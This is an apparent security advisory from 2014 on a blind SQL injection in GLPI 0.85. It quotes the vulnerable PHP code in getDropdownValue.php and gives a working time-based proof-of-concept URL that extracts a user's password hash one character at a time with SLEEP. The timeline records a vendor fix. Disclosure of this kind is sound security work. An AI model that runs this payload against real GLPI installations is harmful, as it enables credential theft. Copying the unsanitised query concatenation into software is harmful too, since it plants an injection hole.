14-12-2014 / Vulnerabilities

GLPI 0.85 Blind SQL Injection

All $_GET values are escaped:

File: inc\includes.php

if (isset($_GET)) {
   if (Toolbox::get_magic_quotes_gpc()) {
      $_GET = array_map(array('Toolbox', 'stripslashes_deep'), $_GET);
   }
   $_GET = array_map(array('Toolbox','addslashes_deep'), $_GET);
   $_GET = array_map(array('Toolbox', 'clean_cross_side_scripting_deep'), $_GET);
}

But in one place slashes are removed from $_GET['condition']:

File: ajax\getDropdownValue.php

if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";
if ($result = $DB->query($query)) {
}

$query is multiline statement so we cannot control ORDER BY.

That's the reason why we cannot use UNION statement.

But we can use subquery.

Proof of Concept

Login (user type doesn't matter) then:

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

glpi_groups must have at least one record in order to work.

This SQL will check if first password character user ID=2 is "$".

If yes, it will sleep 5 seconds.

Timeline

  • 28-11-2014: Discovered
  • 28-11-2014: Vendor notified
  • 11-12-2014: Version 0.85.1 released, issue resolved